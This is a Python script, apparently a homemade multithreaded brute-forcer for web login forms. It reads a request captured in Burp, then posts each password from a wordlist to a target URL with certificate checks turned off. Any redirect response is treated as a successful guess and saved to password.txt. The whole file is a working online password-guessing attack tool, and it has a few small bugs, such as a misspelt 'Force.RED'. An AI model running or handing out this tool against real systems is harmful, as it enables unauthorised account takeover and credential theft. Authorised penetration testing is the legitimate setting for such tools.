#!/usr/bin/env python3
import threading
import time
import requests
import sys
import colorama
import warnings
import json
from colorama import Fore, Style
from urllib.parse import unquote


def execute():
    while len(passwordlist)>0:
        currentpass = (passwordlist.pop())
        sendRequest(currentpass)


def createPassList(filename):
    with open(filename) as file:
        for line in file:
            passwordlist.append(line.rstrip())
    file.close()

def createThreads(number):
    for i in range(number):
        threading.Thread(target=execute).start()

def sendRequest(currentpass):
    data[passwdfield] = currentpass
    response = requests.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False, verify=False)
    if '3' in str(response.status_code):
        print(Fore.GREEN + "password: [{}], status code: {}, length: {}".format(currentpass,response.status_code,len(response.content)))
        f = open("password.txt", "a")
        f.write("url: {}, password: [{}], status code: {}, length: {} \r\n".format(url,currentpass,response.status_code,len(response.content)))
        f.close()
    else:
        print(Fore.WHITE + "password: [{}], status code: {}, length: {}".format(currentpass,response.status_code,len(response.content)))


def convert(file):
    with open(file) as file:
        for line in file:
            line.rstrip()
            if line.find("Cookie:") != -1:
                line = line[8:]
                while True:
                    i = line[0:-1].find(";")
                    if i == -1:
                        posFinderEqual = line.find("=")
                        cookies[line[0:posFinderEqual]] = line[posFinderEqual+1:-1]
                        break
                    posFinderEqual = line.find("=")
                    cookies[line[0:posFinderEqual]] = line[posFinderEqual+1:i]
                    line = line[i+1:]
                continue

            posFinderHeader = (line.find(":"))
            if posFinderHeader != -1:
                headers[line[0:posFinderHeader]]=line[posFinderHeader+2:-1]
                continue
            if line.find("&") != -1:
                i = 0
                while True:
                    i = line[0:-1].find("&")
                    if i == -1:
                        posFinderEqual = line.find("=")
                        data[line[0:posFinderEqual]] = line[posFinderEqual+1:-1]
                        break
                    posFinderEqual = line.find("=")
                    data[line[0:posFinderEqual]] = line[posFinderEqual+1:i]
                    line = line[i+1:]
    file.close()




if __name__ == "__main__":
    print(Fore.BLUE + "BruteForcer Started")
    counter = 0
    passwordlist = []
    headers = {}
    data = {}
    cookies = {}
    warnings.filterwarnings('ignore')
    try:
        if sys.argv=='--help' or sys.argv[1]=='-h':
            print(Fore.BLUE + "python3 script.py [URL] [PostRequest] [Passwfield] [Passlist] [Threads]")
            exit()
    except Exception as e:
        pass

    try:
        url = sys.argv[1]
    except Exception as e:
        print(Fore.RED + "URL Is Needed")
        exit()


    try:
        convert(sys.argv[2])
    except Exception as e:
        print(Fore.RED + "A Post Burp Requst is required")
        exit()

    try:
        passwdfield = sys.argv[3]
    except Exception as e:
        print(Fore.RED + "Specify the pass field")
        exit()

    try:
        createPassList(sys.argv[4])
    except Exception as e:
        print(Force.RED + "No password file")

    try:
        threads = int(sys.argv[5])
        createThreads(threads)
        print(Fore.BLUE + "{} threads are running".format(threads))
    except Exception as e:
        threads = 1
        createThreads(threads)
        print(Fore.BLUE + "1 thread is running")
